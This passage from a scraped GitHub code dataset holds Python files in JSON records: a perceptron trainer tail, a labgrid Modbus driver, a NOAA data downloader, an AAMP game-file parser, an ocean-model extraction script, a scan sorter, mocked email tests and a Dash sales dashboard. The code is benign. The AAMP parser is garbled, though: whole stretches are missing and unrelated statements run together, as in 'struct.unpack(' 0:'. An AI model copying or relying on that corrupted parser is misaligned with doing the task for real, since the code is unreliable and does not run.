data[j][k] * w[k]\n \n \n if(sum >= 0):\n predict = sol_class[0]\n if(sum < 0):\n predict = sol_class[1]\n if(predict == sol[j]):\n count = count + 1\n \n final_ac = count/len(data)\n print(\"total_accuracy\", final_ac)\n if(best_ac >= accuracy):\n paint(data_train, sol_train, 0)\n return \n\n if(len(sol_class) <= 2): \n paint(data_train, sol_train, 0)\n \n \nif __name__ == '__main__':\n while(True):\n data = []\n sol = []\n sol_class = []\n best_ac = 0.0\n best_w = []\n final_ac = 0.0\n path = str(input(\"檔案路徑: \"))\n c1 = False\n c2 = False\n c3 = False\n while(True):\n if(c1 == False):\n try:\n learn_rate = float(input(\"type:float learning_rate: \"))\n break\n except:\n print(\"learning_rate error\")\n while(True):\n if(c2 == False):\n try:\n epoch = int(input(\"type:int epoch: \"))\n break\n except:\n print(\"epoch error\")\n while(True):\n if(c3 == False):\n try:\n accuracy = float(input(\"type:float accuracy: \"))\n break\n except:\n print(\"accuracy error\")\n\n \n if(data_input(path) != False):\n train()\n print(\"test data accuracy: \" + str(best_ac),)\n print(\"wieght \", end = \"\")\n print(best_w)\n\n print(\"all data accuracy: \", final_ac)\n if(len(sol_class) <= 2): \n paint(data, sol, 1)\n print(\"\")\n \n status = int(input(\"input->1 continue, input->2 stop: \"))\n if(status == 2):\n sys.exit()\n", "repo_name": "p870613/perceptron", "sub_path": "105502302.py", "file_name": "105502302.py", "file_ext": "py", "file_size_in_byte": 9143, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "matplotlib.pyplot.plot", "line_number": 106, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 106, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 107, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 107, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 109, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 109, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 111, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 111, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 120, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 120, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 122, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 122, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 127, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 127, "usage_type": "name"}, {"api_name": "random.random", "line_number": 137, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 146, "usage_type": "call"}, {"api_name": "random.random", "line_number": 168, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 324, "usage_type": "call"}]} {"seq_id": "16567434738", "text": "#!/usr/bin/env python3\n\nfrom importlib import import_module\n\nimport time\nimport attr\n\nfrom labgrid.driver import Driver\nfrom labgrid.factory import target_factory\nfrom labgrid.protocol import PowerProtocol\nfrom labgrid.step import step\n\n\n@target_factory.reg_driver\n@attr.s(eq=False)\nclass ModbusRTUPowerDriver(Driver, PowerProtocol):\n bindings = {\"resource\": \"ModbusRTU\", }\n\n downtime = attr.ib(default=1.0, validator=attr.validators.instance_of(float))\n delay = attr.ib(default=0.5, validator=attr.validators.instance_of(float))\n coil = attr.ib(default=0, validator=attr.validators.instance_of(int))\n\n def __attrs_post_init__(self):\n super().__attrs_post_init__()\n self._modbus = import_module('minimalmodbus')\n self.instrument = None\n\n def on_activate(self):\n self.instrument = self._modbus.Instrument(\n self.resource.port,\n self.resource.address,\n debug=False)\n\n self.instrument.serial.baudrate = self.resource.speed\n self.instrument.serial.timeout = self.resource.timeout\n self.instrument.mode = self._modbus.MODE_RTU\n self.instrument.clear_buffers_before_each_transaction = True\n\n def on_deactivate(self):\n self.instrument = None\n\n @Driver.check_active\n @step()\n def on(self):\n self.instrument.write_bit(self.coil, 1, 5)\n time.sleep(self.delay)\n\n @Driver.check_active\n @step()\n def off(self):\n self.instrument.write_bit(self.coil, 0, 5)\n time.sleep(self.delay)\n\n @Driver.check_active\n @step()\n def cycle(self):\n self.off()\n time.sleep(self.downtime)\n self.on()\n\n @Driver.check_active\n @step()\n def get(self):\n return self.instrument.read_bit(self.coil, 1)\n", "repo_name": "geomatsi/pwr-tests", "sub_path": "d1/labgrid/src/modbus.py", "file_name": "modbus.py", "file_ext": "py", "file_size_in_byte": 1770, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "labgrid.driver.Driver", "line_number": 16, "usage_type": "name"}, {"api_name": "labgrid.protocol.PowerProtocol", "line_number": 16, "usage_type": "name"}, {"api_name": "attr.ib", "line_number": 19, "usage_type": "call"}, {"api_name": "attr.validators.instance_of", "line_number": 19, "usage_type": "call"}, {"api_name": "attr.validators", "line_number": 19, "usage_type": "attribute"}, {"api_name": "attr.ib", "line_number": 20, "usage_type": "call"}, {"api_name": "attr.validators.instance_of", "line_number": 20, "usage_type": "call"}, {"api_name": "attr.validators", "line_number": 20, "usage_type": "attribute"}, {"api_name": "attr.ib", "line_number": 21, "usage_type": "call"}, {"api_name": "attr.validators.instance_of", "line_number": 21, "usage_type": "call"}, {"api_name": "attr.validators", "line_number": 21, "usage_type": "attribute"}, {"api_name": "importlib.import_module", "line_number": 25, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 46, "usage_type": "call"}, {"api_name": "labgrid.driver.Driver.check_active", "line_number": 42, "usage_type": "attribute"}, {"api_name": "labgrid.driver.Driver", "line_number": 42, "usage_type": "name"}, {"api_name": "labgrid.step.step", "line_number": 43, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 52, "usage_type": "call"}, {"api_name": "labgrid.driver.Driver.check_active", "line_number": 48, "usage_type": "attribute"}, {"api_name": "labgrid.driver.Driver", "line_number": 48, "usage_type": "name"}, {"api_name": "labgrid.step.step", "line_number": 49, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 58, "usage_type": "call"}, {"api_name": "labgrid.driver.Driver.check_active", "line_number": 54, "usage_type": "attribute"}, {"api_name": "labgrid.driver.Driver", "line_number": 54, "usage_type": "name"}, {"api_name": "labgrid.step.step", "line_number": 55, "usage_type": "call"}, {"api_name": "labgrid.driver.Driver.check_active", "line_number": 61, "usage_type": "attribute"}, {"api_name": "labgrid.driver.Driver", "line_number": 61, "usage_type": "name"}, {"api_name": "labgrid.step.step", "line_number": 62, "usage_type": "call"}, {"api_name": "labgrid.factory.target_factory.reg_driver", "line_number": 14, "usage_type": "attribute"}, {"api_name": "labgrid.factory.target_factory", "line_number": 14, "usage_type": "name"}, {"api_name": "attr.s", "line_number": 15, "usage_type": "call"}]} {"seq_id": "35254485535", "text": "import wget\nimport os\n\nstr1 = \"https://www.ncei.noaa.gov/data/sea-surface-temperature-optimum-interpolation/v2.1/access/avhrr/\"\nstr2 = \"oisst-avhrr-v02r01.\"\nstr3 = \".nc\"\nfor year in range(1981, 1982):\n for month in range(9, 11):\n for day in range(15, 20):\n url = str1 + \"{}\".format(year) + \"{:02d}\".format(month) + \"/\" + str2 + \"{}\".format(\n year)+\"{:02d}\".format(month) + \"{:02d}\".format(day) + str3\n path1 = '../avhrr-only'\n file_path = os.path.join(\n path1, \"{}\".format(year), \"{:02d}\".format(month))\n if not os.path.exists(file_path):\n os.makedirs(file_path)\n\n try:\n wget.download(url, out=file_path)\n except:\n print(\"File:\" + str2 + \"{0}{1:02d}{2:02d}\".format(year,\n month, day) + str3 + \" does not exist\")\n", "repo_name": "LingwuPro/LingwuPro", "sub_path": "wget.py", "file_name": "wget.py", "file_ext": "py", "file_size_in_byte": 884, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.join", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 16, "usage_type": "call"}, {"api_name": "wget.download", "line_number": 19, "usage_type": "call"}]} {"seq_id": "72236267105", "text": "import argparse\nimport codecs\nimport json\nimport struct\nimport xml.etree.ElementTree as ElementTree\nimport os\n\nimport zlib\n\nimport dicttoxml\nimport yaml\n\n\nclass NodeType:\n Node = 0x00\n Boolean = 0x00\n Float = 0x01\n Int = 0x02\n Vector2 = 0x03\n Vector3 = 0x04\n Vector4 = 0x06\n String = 0x07\n Actor = 0x08\n UnknownString = 0x0f\n UnknownUnsignedInt = 0x11\n String2 = 0x14\n\n Values = [\n 0x00,\n 0x01,\n 0x02,\n 0x07,\n 0x08,\n 0x0f,\n 0x11,\n 0x14\n ]\n\n Reference = [\n ]\n\n\nclass AAMP:\n data_object = {}\n hash_table = {}\n\n def __init__(self, path):\n print(\"Parsing AAMP file...\")\n\n filename = os.path.basename(path)\n print(\"Reading {0}...\".format(filename))\n\n file = open(path, 'rb')\n self.data = file.read()\n\n signature = self.data[0x00:0x04]\n\n if signature != b'AAMP':\n print('\\033[31mQuitting: {0} is not a AAMP file\\033[0m'.format(filename))\n print('\\033[31mExpected b\\'AAMP\\' but saw {0}\\033[0m'.format(signature))\n exit(0)\n\n version = struct.unpack(' 0:\n children = []\n for index in range(0, child_count):\n child = self.get_node(offset)\n node[child[0]] = child[1]\n offset += 0x08\n return node\n\n # Node = 0x00\n # Boolean = 0x00\n # Float = 0x01\n # Int = 0x02\n # Vector2 = 0x03\n # Vector3 = 0x04\n # Vector4 = 0x06\n # String = 0x07\n # Actor = 0x08\n # UnknownString = 0x0f\n # UnknownUnsignedInt = 0x11\n # String2 = 0x14\n\n elif child_node_type == NodeType.Boolean:\n value = struct.unpack(' 0:\n if len(sl) >= 10:\n print(sl[:10])\n sl = sl[10:]\n else:\n print(sl)\n sl = []\nfor sect_name in sect_list:\n out_fn = out_dir / (sect_name + '.nc')\n ii0, ii1, jj0, jj1, sdir, NX, Lon, Lat = sect_info[sect_name]\n tef_fun.start_netcdf(fn, out_fn, NT, NX, NZ, Lon, Lat, Ldir, vn_list)\n\nprint('Doing initial data extraction:')\n# We do extractions one hour at a time, as separate subprocess jobs.\n# Running Nproc (e.g. 20) of these in parallel makes the code much faster.\n# Files are saved to temp_dir.\ntt000 = time()\nproc_list = []\nN = len(fn_list)\nfor ii in range(N):\n fn = fn_list[ii]\n d = fn.parent.name.replace('f','')\n nhis = int(fn.name.split('.')[0].split('_')[-1])\n cmd_list = ['python3', 'extract_section_one_time.py',\n '-pth', str(Ldir['roms_out']),\n '-out_dir',str(temp_dir),\n '-gtagex', Ldir['gtagex'],\n '-d', d, '-nhis', str(nhis),\n '-get_bio', str(Ldir['get_bio'])]\n proc = Po(cmd_list, stdout=Pi, stderr=Pi)\n proc_list.append(proc)\n \n Nproc = Ldir['Nproc']\n if ((np.mod(ii,Nproc) == 0) and (ii > 0)) or (ii == N-1):\n tt0 = time()\n for proc in proc_list:\n proc.communicate()\n print(' - %d out of %d: %d took %0.2f sec' % (ii, N, Nproc, time()-tt0))\n sys.stdout.flush()\n proc_list = []\nprint('Elapsed time = %0.2f sec' % (time()-tt000))\n\n# Extract and save time-dependent fields\nfor sect_name in sect_list:\n out_fn = out_dir / (sect_name + '.nc')\n tef_fun.add_fields(out_fn, temp_dir, sect_name, vn_list, S, NT)\n \n# Clean up\nLfun.make_dir(temp_dir, clean=True)\ntemp_dir.rmdir()\n\n# Then do the processing and bulk calculation\nif Ldir['testing'] == False:\n \n # processing\n tt0 = time()\n print(' process_sections '.center(60,'='))\n cmd_list = ['python3', 'process_sections.py',\n '-gtagex', Ldir['gtagex'],\n '-0', ds0, '-1', ds1]\n proc = Po(cmd_list, stdout=Pi, stderr=Pi)\n stdout, stderr = proc.communicate()\n #print(stdout.decode())\n if len(stderr) > 0:\n print(stderr.decode())\n print('Elapsed time = %0.2f sec' % (time()-tt0))\n \n # bulk_calc\n tt0 = time()\n print(' bulk_calc '.center(60,'='))\n cmd_list = ['python3', 'bulk_calc.py',\n '-gtagex', Ldir['gtagex'],\n '-0', ds0, '-1', ds1]\n proc = Po(cmd_list, stdout=Pi, stderr=Pi)\n stdout, stderr = proc.communicate()\n #print(stdout.decode())\n if len(stderr) > 0:\n print(stderr.decode())\n print('Elapsed time = %0.2f sec' % (time()-tt0))\n\nprint(' Total elapsed time = %d sec '.center(60,'-') % (time()-tt00))\nprint(' DONE '.center(60,'='))\n\n \n\n\n", "repo_name": "parkermac/LO", "sub_path": "extract/tef/extract_sections.py", "file_name": "extract_sections.py", "file_ext": "py", "file_size_in_byte": 5994, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 9, "dataset": "github-code", "pt": "71", "api": [{"api_name": "lo_tools.extract_argfun.intro", "line_number": 26, "usage_type": "call"}, {"api_name": "lo_tools.extract_argfun", "line_number": 26, "usage_type": "name"}, {"api_name": "importlib.reload", "line_number": 30, "usage_type": "call"}, {"api_name": "tef_fun.vn_list", "line_number": 42, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 49, "usage_type": "call"}, {"api_name": "lo_tools.Lfun.make_dir", "line_number": 57, "usage_type": "call"}, {"api_name": "lo_tools.Lfun", "line_number": 57, "usage_type": "name"}, {"api_name": "lo_tools.Lfun.make_dir", "line_number": 61, "usage_type": "call"}, {"api_name": "lo_tools.Lfun", "line_number": 61, "usage_type": "name"}, {"api_name": "tef_fun.get_sect_df", "line_number": 65, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 78, "usage_type": "call"}, {"api_name": "lo_tools.Lfun.get_fn_list", "line_number": 81, "usage_type": "call"}, {"api_name": "lo_tools.Lfun", "line_number": 81, "usage_type": "name"}, {"api_name": "lo_tools.zrfun.get_basic_info", "line_number": 86, "usage_type": "call"}, {"api_name": "lo_tools.zrfun", "line_number": 86, "usage_type": "name"}, {"api_name": "lo_tools.zrfun.get_basic_info", "line_number": 87, "usage_type": "call"}, {"api_name": "lo_tools.zrfun", "line_number": 87, "usage_type": "name"}, {"api_name": "tef_fun.get_inds", "line_number": 96, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 101, "usage_type": "call"}, {"api_name": "tef_fun.start_netcdf", "line_number": 115, "usage_type": "call"}, {"api_name": "time.time", "line_number": 121, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 134, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 134, "usage_type": "name"}, {"api_name": "numpy.mod", "line_number": 138, "usage_type": "call"}, {"api_name": "time.time", "line_number": 139, "usage_type": "call"}, {"api_name": "time.time", "line_number": 142, "usage_type": "call"}, {"api_name": "sys.stdout.flush", "line_number": 143, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 143, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 145, "usage_type": "call"}, {"api_name": "tef_fun.add_fields", "line_number": 150, "usage_type": "call"}, {"api_name": "lo_tools.Lfun.make_dir", "line_number": 153, "usage_type": "call"}, {"api_name": "lo_tools.Lfun", "line_number": 153, "usage_type": "name"}, {"api_name": "time.time", "line_number": 160, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 165, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 165, "usage_type": "name"}, {"api_name": "time.time", "line_number": 170, "usage_type": "call"}, {"api_name": "time.time", "line_number": 173, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 178, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 178, "usage_type": "name"}, {"api_name": "time.time", "line_number": 183, "usage_type": "call"}, {"api_name": "time.time", "line_number": 185, "usage_type": "call"}]} {"seq_id": "71002473510", "text": "import os\nimport re\nimport shutil\nimport signal\nimport sys\nimport textract\nfrom tempfile import mkstemp\nfrom pathlib import Path\nfrom prompt_toolkit import prompt\nfrom prompt_toolkit.validation import Validator, ValidationError\nfrom prompt_toolkit.completion import WordCompleter\n\nTestCompleter = WordCompleter(['aa', 'zz', 'hush little baby'])\n\nsrcpath = Path('/home/gbirke/SynologyDrive/scans')\ndest_path = Path('/home/gbirke/SynologyDrive/Dokumente')\npreview_link = Path('/tmp/sort_scan_preview.pdf')\n\ndestinations = [d.stem for d in dest_path.glob('*') if d.is_dir()]\n\ndef create_preview_copy(preview_file):\n _, tmp_name = mkstemp()\n shutil.copy(preview_file, tmp_name)\n os.rename(tmp_name, preview_link)\n\nclass DestinationValidator(Validator):\n def validate(self, document):\n text = document.text.strip()\n if text in destinations:\n return\n raise ValidationError(message='Destination not valid')\n\nDestinationList = WordCompleter(destinations)\n\ndef signal_handler(sig, frame):\n sys.exit(0)\n\nsignal.signal(signal.SIGINT, signal_handler)\n\ndate_match = re.compile(r'^(\\d{4})(\\d{2})(\\d{2})(\\d{2})(\\d{2})(\\d{2})')\nnormalize_whitespace = re.compile(r'\\s+')\n\nfor srcfile in srcpath.glob('*.pdf'):\n print('{0}'.format(srcfile))\n create_preview_copy(srcfile)\n text = textract.process(srcfile)\n raw_wordlist = normalize_whitespace.sub(' ', str(text, 'utf-8')).split(' ')\n unique_words=set([w for w in raw_wordlist if len(w) > 2])\n NameCompleter = WordCompleter(list(unique_words))\n newname = prompt('File name: ', completer=NameCompleter)\n\n newname = newname.strip()\n split_date_format = date_match.sub(r\"\\1_\\2_\\3_\\4_\\5_\\6\", srcfile.stem)\n full_name = \"{0} {1}{2}\".format(split_date_format, newname, srcfile.suffix)\n\n destination = prompt('Destination: ',\n validator=DestinationValidator(),\n completer=DestinationList)\n\n final_destination = dest_path.joinpath(destination, full_name)\n print('Moving {0} to {1}'.format(srcfile, final_destination))\n os.rename(srcfile, final_destination)\n\n", "repo_name": "gbirke/sort_scans", "sub_path": "sort_scans.py", "file_name": "sort_scans.py", "file_ext": "py", "file_size_in_byte": 2083, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "prompt_toolkit.completion.WordCompleter", "line_number": 13, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 15, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 16, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 17, "usage_type": "call"}, {"api_name": "tempfile.mkstemp", "line_number": 22, "usage_type": "call"}, {"api_name": "shutil.copy", "line_number": 23, "usage_type": "call"}, {"api_name": "os.rename", "line_number": 24, "usage_type": "call"}, {"api_name": "prompt_toolkit.validation.Validator", "line_number": 26, "usage_type": "name"}, {"api_name": "prompt_toolkit.validation.ValidationError", "line_number": 31, "usage_type": "call"}, {"api_name": "prompt_toolkit.completion.WordCompleter", "line_number": 33, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 36, "usage_type": "call"}, {"api_name": "signal.signal", "line_number": 38, "usage_type": "call"}, {"api_name": "signal.SIGINT", "line_number": 38, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 40, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 41, "usage_type": "call"}, {"api_name": "textract.process", "line_number": 46, "usage_type": "call"}, {"api_name": "prompt_toolkit.completion.WordCompleter", "line_number": 49, "usage_type": "call"}, {"api_name": "prompt_toolkit.prompt", "line_number": 50, "usage_type": "call"}, {"api_name": "prompt_toolkit.prompt", "line_number": 56, "usage_type": "call"}, {"api_name": "os.rename", "line_number": 62, "usage_type": "call"}]} {"seq_id": "37161770946", "text": "from unittest.mock import Mock\n\nimport pytest\n\nfrom libpythonprodaanrod.spam.main import EnviadorDeSpam\nfrom libpythonprodaanrod.spam.modelos import Usuario\n\n\n@pytest.mark.parametrize(\n 'usuarios',\n [\n [\n Usuario(nome='Danilo', email='daanrod93@gmail.com'),\n Usuario(nome='Joyce', email='daanrod93@gmail.com')\n ],\n [\n Usuario(nome='Danilo', email='daanrod93@gmail.com')\n ]\n ]\n)\ndef test_qde_de_spam(sessao, usuarios):\n for usuario in usuarios:\n sessao.salvar(usuario)\n enviador = Mock()\n enviador_de_spam = EnviadorDeSpam(sessao, enviador)\n enviador_de_spam.enviar_emails(\n 'daanrod93@gmail.com',\n 'Vambora!',\n 'Conseguimos primo'\n )\n assert len(usuarios) == enviador.enviar.call_count\n\n\ndef test_parametros_de_spam(sessao):\n usuario = Usuario(nome='Danilo', email='daanrod93@gmail.com')\n sessao.salvar(usuario)\n enviador = Mock()\n enviador_de_spam = EnviadorDeSpam(sessao, enviador)\n enviador_de_spam.enviar_emails(\n 'sharp.aedes@gmail.com',\n 'Vambora!',\n 'Conseguimos primo'\n )\n enviador.enviar.assert_called_once_with(\n 'sharp.aedes@gmail.com',\n 'daanrod93@gmail.com',\n 'Vambora!',\n 'Conseguimos primo'\n )\n", "repo_name": "daanrod/libpythonprodaanrod", "sub_path": "libpythonprodaanrod/tests/test_spam/test_envio_para_base_de_usuarios.py", "file_name": "test_envio_para_base_de_usuarios.py", "file_ext": "py", "file_size_in_byte": 1298, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "unittest.mock.Mock", "line_number": 24, "usage_type": "call"}, {"api_name": "libpythonprodaanrod.spam.main.EnviadorDeSpam", "line_number": 25, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 9, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 9, "usage_type": "attribute"}, {"api_name": "libpythonprodaanrod.spam.modelos.Usuario", "line_number": 13, "usage_type": "call"}, {"api_name": "libpythonprodaanrod.spam.modelos.Usuario", "line_number": 14, "usage_type": "call"}, {"api_name": "libpythonprodaanrod.spam.modelos.Usuario", "line_number": 17, "usage_type": "call"}, {"api_name": "libpythonprodaanrod.spam.modelos.Usuario", "line_number": 35, "usage_type": "call"}, {"api_name": "unittest.mock.Mock", "line_number": 37, "usage_type": "call"}, {"api_name": "libpythonprodaanrod.spam.main.EnviadorDeSpam", "line_number": 38, "usage_type": "call"}]} {"seq_id": "5812844329", "text": "import dash\r\nimport dash_core_components as dcc\r\nimport dash_html_components as html\r\nimport dataset as myds\r\n\r\n\r\nKPI1 = myds.KPI1\r\nKPI2 = myds.KPI2\r\n\r\n\r\nKPI31 = myds.KPI31 # Product top 1 - name - 2019\r\nKPI32 = myds.KPI32 # Product top 1 - units - 2019\r\n\r\nKPI41 = myds.KPI41 # Product top 1 - name - 2019\r\nKPI42 = myds.KPI42 # Product top 1 - units - 2019\r\n\r\n# data graphOne - bar -\r\nxg1 = myds.xg1 # return product names\r\nyg1 = myds.yg1 # return product units\r\n\r\n# data graphTwo\r\nxg2 = myds.xg2 # return months 2019 jan to dec\r\nyg2 = myds.yg2 # return\r\n\r\n# data to line sales person\r\n# data to card best sales person\r\nnomeV = myds.nomeV\r\npmvStr = f'Produto mais vendido: {myds.pmv.index[0]} - {myds.pmv.QTDE[0]} units'\r\nmfStr = f'Maior faturamento: US${myds.mf.TOTAL.values}. Ref.: {myds.mf.index[0]}/2019 '\r\n# data to sales numbers\r\nxg3 = myds.tvpmpv.index\r\nyg3 = myds.tvpmpv.values\r\n\r\n# success primary info warning danger\r\ncores = ['#00bc8c', '#28415b', '#217dbb','#c87f0a', '#dc2c1a']\r\n\r\n\r\napp = dash.Dash(__name__, external_stylesheets=['https://bootswatch.com/3/darkly/bootstrap.css'])\r\n\r\napp.layout = html.Div([\r\n # row 1 - linha 1\r\n html.Div([\r\n html.H1('DASHBOARD - VENDAS - 2019')\r\n ], className='col-xs-12'),\r\n\r\n # row 2 - linha 2 - creating filter\r\n html.Div([\r\n html.Nav([\r\n html.Div([\r\n html.P('Filtro: ', className='navbar-brand')\r\n ], className='navbar-header'),\r\n html.Div([\r\n html.Label('Produto'),\r\n html.Select([\r\n html.Option('A', value='A'),\r\n html.Option('B', value='B')\r\n ], className='form-control')\r\n ], className='col-xs-2'),\r\n html.Div([\r\n html.Label('Cat. Produto'),\r\n html.Select([\r\n html.Option('A', value='A'),\r\n html.Option('B', value='B', selected='selected')\r\n ], className='form-control')\r\n ], className='col-xs-2'),\r\n html.Div([\r\n html.Label('Vendedor'),\r\n html.Select([\r\n html.Option('Ana', value='A'),\r\n html.Option('Beatriz', value='B', selected='selected'),\r\n html.Option('Carlos', value='C', selected='selected')\r\n ], className='form-control')\r\n ], className='col-xs-2'),\r\n html.Div([\r\n html.Br(),\r\n html.Button('Filtrar', type='submit', className='btn btn-default')\r\n ], className='col-xs-2'),\r\n\r\n ], className='nav navbar-default'),\r\n ], className='col-xs-12 well'),\r\n\r\n # row 3 - linha 3 - showing 4 kpis\r\n html.Div([\r\n # indicador 1 - kpi 1\r\n html.Div([\r\n html.Div([\r\n html.Div([\r\n html.H4('Qtde. Vendida', className='panel-title text-center')\r\n ], className='panel-heading'),\r\n html.Div([\r\n html.H1(KPI1, className='text-center')\r\n ])\r\n ], className='panel panel-warning')\r\n ], className='col-xs-3'),\r\n # indicador 2 - kpi 2\r\n html.Div([\r\n html.Div([\r\n html.Div([\r\n html.H4('Total Vendido', className='panel-title text-center')\r\n ], className='panel-heading'),\r\n html.Div([\r\n html.H1(KPI2, className='text-center')\r\n ])\r\n ], className='panel panel-success')\r\n ], className='col-xs-3'),\r\n # indicador 3 - kpi 3\r\n html.Div([\r\n html.Div([\r\n html.Div([\r\n html.H4('Melhor Produto', className='panel-title text-center')\r\n ], className='panel-heading'),\r\n html.Div([\r\n html.H1(f' {KPI31} - {KPI32} units', className='text-center')\r\n ])\r\n ], className='panel panel-info')\r\n ], className='col-xs-3'),\r\n # indicador 4 - kpi 4\r\n html.Div([\r\n html.Div([\r\n html.Div([\r\n html.H4('Produto em alerta', className='panel-title text-center')\r\n ], className='panel-heading'),\r\n html.Div([\r\n html.H1(f'{KPI41} - {KPI42} units', className='text-center')\r\n ])\r\n ], className='panel panel-info')\r\n ], className='col-xs-3'),\r\n\r\n ], className='col-xs-12 well'),\r\n\r\n # row 4 - linha 4 - graphs top 5 and sales year 2019\r\n html.Div([\r\n # graph Bar\r\n html.Div([\r\n dcc.Graph(\r\n id='graphOne',\r\n figure={\r\n 'data': [{\r\n 'x': xg1, 'y': yg1, 'type': 'bar',\r\n 'marker': {'color': cores},\r\n 'name': 'Produtos'\r\n }],\r\n 'layout': {\r\n 'title': 'Top 5 Products - 2019',\r\n 'showlegend': False,\r\n 'showgrid': False,\r\n # background transparent\r\n 'plot_bgcolor': 'rgba(0,0,0,0)',\r\n 'paper_bgcolor': 'rgba(0,0,0,0)',\r\n 'font': {'color': 'white'}\r\n }\r\n }\r\n )\r\n ], className='col-xs-4'),\r\n\r\n # graph Lines\r\n html.Div([\r\n dcc.Graph(\r\n id='graphTwo',\r\n figure={\r\n 'data': [{\r\n 'x': xg2, 'y': yg2, 'type': 'line',\r\n 'marker': {'color': cores[3]},\r\n 'name': 'Vendas'\r\n }],\r\n 'layout': {\r\n 'title': 'Vendas - Faturamento 2019',\r\n 'showlegend': True,\r\n 'xaxis': {'showgrid': False},\r\n 'yaxis': {'showgrid': True},\r\n # background transparent\r\n 'plot_bgcolor': 'rgba(0,0,0,0)',\r\n 'paper_bgcolor': 'rgba(0,0,0,0)',\r\n 'font': {'color': 'white'}\r\n }\r\n }\r\n )\r\n ], className='col-xs-8'),\r\n\r\n ], className='col-xs-12 well'),\r\n\r\n # row 5 - linha 5 - best sales person\r\n html.Div([\r\n # card best salesperson - melhor vendedor\r\n html.Div([\r\n html.H4('DESTAQUE 2019', className='text-center'),\r\n html.Br(),\r\n html.Img(src='https://www.fiscalti.com.br/wp-content/uploads/2020/05/default-user-image-365x365.png',\r\n width='70px', height='70px'),\r\n html.H2(f'Vendedor: {nomeV}'),\r\n html.H5(pmvStr),\r\n html.H5(mfStr)\r\n\r\n ], className='col-xs-4 jumbotron'),\r\n html.Div([\r\n html.Div([\r\n dcc.Graph(\r\n id='graphThree',\r\n figure={\r\n 'data': [{\r\n 'x': xg3, 'y': yg3, 'type': 'line',\r\n 'marker': {'color': cores[0]},\r\n 'name': 'Vendas'\r\n }],\r\n 'layout': {\r\n 'title': f'Vendedor {nomeV} - Faturamento 2019 ',\r\n 'showlegend': True,\r\n 'xaxis': {'showgrid': False},\r\n 'yaxis': {'showgrid': True},\r\n # background transparent\r\n 'plot_bgcolor': 'rgba(0,0,0,0)',\r\n 'paper_bgcolor': 'rgba(0,0,0,0)',\r\n 'font': {'color': 'white'}\r\n }\r\n }\r\n )\r\n ], className='col-xs-8'),\r\n ])\r\n ], className='col-xs-12 well'),\r\n\r\n], className='col-xs-12')\r\n\r\n\r\n# this code will be in my github (description this video)\r\n# thankyou!!!!\r\n\r\nif __name__ == '__main__':\r\n app.run_server(debug=True)\r\n", "repo_name": "italomarcelogit/scripts-diversos", "sub_path": "python-plotly/plotly03.py", "file_name": "plotly03.py", "file_ext": "py", "file_size_in_byte": 8150, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "dataset.KPI1", "line_number": 7, "usage_type": "attribute"}, {"api_name": "dataset.KPI2", "line_number": 8, "usage_type": "attribute"}, {"api_name": "dataset.KPI31", "line_number": 11, "usage_type": "attribute"}, {"api_name": "dataset.KPI32", "line_number": 12, "usage_type": "attribute"}, {"api_name": "dataset.KPI41", "line_number": 14, "usage_type": "attribute"}, {"api_name": "dataset.KPI42", "line_number": 15, "usage_type": "attribute"}, {"api_name": "dataset.xg1", "line_number": 18, "usage_type": "attribute"}, {"api_name": "dataset.yg1", "line_number": 19, "usage_type": "attribute"}, {"api_name": "dataset.xg2", "line_number": 22, "usage_type": "attribute"}, {"api_name": "dataset.yg2", "line_number": 23, "usage_type": 